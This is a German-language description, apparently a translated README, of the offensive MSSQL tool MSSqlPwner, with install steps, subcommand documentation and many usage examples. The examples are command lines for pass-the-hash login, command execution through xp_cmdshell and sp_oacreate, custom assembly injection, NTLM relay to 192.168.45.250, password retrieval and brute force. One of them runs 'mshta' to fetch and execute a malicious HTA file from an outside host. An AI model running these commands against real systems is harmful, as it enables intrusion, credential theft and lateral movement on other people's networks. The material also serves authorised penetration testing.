
Erweitertes MSSQL-Penetrationstest-Werkzeug für seitliche Bewegung, Befehlsausführung, NTLM-Relay und Brute-Force-Angriffe über verknüpfte Server und mehrere Authentifizierungsmethoden.
MSSqlPwner ist ein fortschrittliches und vielseitiges Pentesting-Tool, das entwickelt wurde, um nahtlos mit MSSQL-Servern zu interagieren und diese zu pwnen.
Das Tool basiert auf impacket, das es Angreifern ermöglicht, sich mit Klartext-Passwörtern, NTLM-Hashes und Kerberos-Tickets an Datenbanken zu authentifizieren.
Mit MSSqlPwner können Benutzer benutzerdefinierte Befehle über verschiedene Methoden ausführen, darunter benutzerdefinierte Assemblys, xp_cmdshell, sp_oacreate (OLE-Automatisierungsprozeduren) und vieles mehr.
Das Tool beginnt mit einer rekursiven Aufzählung von verknüpften Servern und möglichen Identitätswechseln, um alle möglichen Ketten für die Befehlsausführung zu sammeln.
Darüber hinaus kann das MSSqlPwner-Tool für NTLM-Relay-Funktionen verwendet werden, die Funktionen wie xp_dirtree, xp_subdirs, xp_fileexist nutzen.
Dieses Tool kann für Bewertungen von Lateral Movement und die Erkundung verknüpfter Server verwendet werden.
Wenn der authentifizierte MSSQL-Benutzer keine Berechtigung zur Ausführung bestimmter Operationen hat, kann das Tool die richtige Kette finden, die die Befehlsausführung ermöglicht.
Wenn Ihr Benutzer beispielsweise keine Befehle im aktuellen Kontext ausführen kann, erstellt das Tool eine Kette, die einen verknüpften Server verwendet und sich mit erhöhten Rechten mit unserem Server verbindet.
Der Einstieg in mssqlpwner ist reibungslos. Sie können dies tun, indem Sie direkt aus dem Repository ziehen:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
Oder, indem Sie pipx verwenden – und das sollten Sie –, versuchen Sie Folgendes:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
Und Sie können jetzt Ihr neues Lieblingstool verwenden:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
Dieses Tool wird von mehreren Authentifizierungsmethoden unterstützt, die unten beschrieben werden.
Dieses Tool ist nur für Sicherheitsexperten und Forscher zu Testzwecken konzipiert und sollte nicht für illegale Zwecke verwendet werden.
interactive: ermöglicht die interaktive Nutzung des Tools mit Live-Ausführung.enumerate: listet die verknüpften Server und die Ketten auf.get-chain-list ruft die Liste der Ketten ab:
-filter-hostname HOSTNAME – Erhalten Sie gefilterte Ergebnisse mit einem bestimmten Hostnamen.get-link-server-list ruft die Liste der verknüpften Server ab.set-chain Legt die Ketten-ID fest (Nur für interaktiven Modus!)
CHAIN – Die einzustellende Ketten-ID.set-link-server Legt den verknüpften Server fest (Nur für interaktiven Modus!)
LINK – Der einzustellende verknüpfte Server.get-rev2self-queries ruft Abfragen zur Wiederherstellung von SELF ab (Nur für interaktiven Modus!).get-adsi-provider-list ruft die ADSI-Anbieterliste ab.exec Führen Sie Befehle mit exec auf dem lokalen Server oder auf verknüpften Servern aus
COMMAND – Der auszuführende Befehl.-command_execution_method – Die zu verwendende Methode zur Befehlsausführung.
xp_cmdshell – Befehle mit der Prozedur xp_cmdshell ausführen (Standard).sp_oacreate – Befehle mit der Prozedur Ole Automation Procedure ausführen (sollte wie „cmd /c etwas“ verwendet werden).retrieve-password Passwortabruf von ADSI-Anbietern.
-listen-port – Der zu überwachende Port (Standard: 1389).-adsi-provider – Zu verwendender ADSI-Anbieter (wenn nicht definiert, wird automatisch gewählt).-arch – Die zu verwendende Architektur (wenn nicht definiert, wird automatisch gewählt).
x86 – x86-Architektur verwenden.x64 – x64-Architektur verwenden.ntlm-relay – NTLM-Relay zu einem Server erzwingen.
SMB_SERVER – Der SMB-Server, zu dem weitergeleitet werden soll.-relay-method – Die zu verwendende Relay-Methode.
xp_dirtree – Prozedur xp_dirtree verwenden (Standard).xp_subdirs – Prozedur xp_subdirs verwenden.xp_fileexist – Prozedur xp_fileexist verwenden (in manchen Situationen sollte dieses Modul aus einer privilegierten Kette ausgeführt werden).custom-asm – Prozeduren mit benutzerdefinierten Assemblys ausführen
COMMAND – Der zu verwendende Befehl/Pfad oder die Abfrage.-procedure-name – Der zu verwendende Prozedurname (Standard: execute_command).
execute_command – Befehle mit benutzerdefinierten Assemblys ausführen (Standard).run_query – Abfragen mit benutzerdefinierten Assemblys ausführen.run_query_system_service – Abfragen mit benutzerdefinierten Assemblys als Systembenutzer ausführen (z. B. SqlSVC).inject-custom-asm Code mit benutzerdefinierten Assemblys injizieren.
file_location – Der Speicherort der zu injizierenden Datei.-procedure-name – Der zu verwendende Prozedurname (Standard: ).direct-query Direkte Abfragen ausführenQUERY – Die auszuführende Abfrage.-query-method – Die zu verwendende Abfragemethode.
OpenQuery – Prozedur OpenQuery verwenden (Standard).exec_at – Prozedur exec AT verwenden.brute Brute-Force starten (kann Tickets, Hashes und Passwörter empfangen)TARGETS_FILE – Eine Datei mit Hosts und IPs für die Brute-Force-Attacke.-ul – Eine Datei mit Benutzern für die Brute-Force-Attacke.-pl – Eine Datei mit Passwörtern für die Brute-Force-Attacke.-tl – Eine Datei mit Tickets für die Brute-Force-Attacke.-hl – Eine Datei mit Hashes für die Brute-Force-Attacke.-link-name – Der Name des zu verwendenden verknüpften Servers-chain-id – Die zu verwendende Ketten-ID-max-link-depth – Die maximale Tiefe der Verkettung (Standard: 10)-max-impersonation-depth – Die maximale Tiefe des Identitätswechsels (Standard: 10)-auto-yes – Alle Fragen automatisch mit Ja beantworten (Standard: False)-timeout – Das zu verwendende Timeout (Standard: 30)MSSqlPwner bietet Möglichkeiten für Bewertungen von Lateral Movement und die Erkundung verknüpfter Server.
In Szenarien, in denen die aktuelle Sitzung keine Administratorrechte besitzt, versucht das Tool, eine Kette zu finden, die seine eigenen Rechte über verknüpfte Server erhöht.
Wenn eine Sitzung auf einem verknüpften Server höhere Rechte besitzt, kann das Tool mit dem verknüpften Server interagieren und eine verknüpfte Abfrage zurück zum Host mit erhöhten Rechten durchführen, was Lateral Movement mit dem Zielserver ermöglicht.
Unterstützt durch mehrere Authentifizierungsmethoden, darunter:
Das Tool passt sich verschiedenen Szenarien und Umgebungen an und überprüft die Wirksamkeit der Authentifizierungsmechanismen.
Bringen Sie Ihre MSSQL-Umgebungsbewertungen mit der Leistungsfähigkeit und Vielseitigkeit von MSSqlPwner auf die nächste Stufe.
Entdecken Sie neue Möglichkeiten für Lateral Movement, verdeckte Abfragen und präzise Sicherheitsbewertungen mit dem MSSqlPwner-Tool.
# Interaktiver Modus
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# Interaktiver Modus mit 2 Ebenen des Identitätswechsels
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# Ausführen einer benutzerdefinierten Assembly auf dem aktuellen Server mit Windows-Authentifizierung und Ausführen des hostname-Befehls
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# Ausführen einer benutzerdefinierten Assembly auf dem aktuellen Server mit Windows-Authentifizierung und Ausführen des hostname-Befehls auf dem verknüpften Server SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# Ausführen des hostname-Befehls mit gespeicherten Prozeduren auf dem verknüpften Server SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# Ausführen des hostname-Befehls mit gespeicherten Prozeduren auf dem verknüpften Server SRV01 mit der Methode sp_oacreate
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# NTLM-Relay-Angriff auf den Server SRV01 durchführen
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# NTLM-Relay-Angriff auf die Ketten-ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 durchführen
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# NTLM-Relay-Angriff auf den lokalen Server mit benutzerdefiniertem Befehl
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# Direkte Abfrage ausführen
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# Passwort vom verknüpften Server DC01 abrufen
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# Code mit benutzerdefinierter Assembly auf dem verknüpften Server DC01 ausführen
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Brute-Force mit Tickets, Hashes und Passwörtern gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Brute-Force mit Hashes und Passwörtern gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Brute-Force mit Tickets gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Brute-Force mit Passwörtern gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Brute-Force mit Hashes gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
rev2self stellt SELF wieder her (Nur für interaktiven Modus!).Inject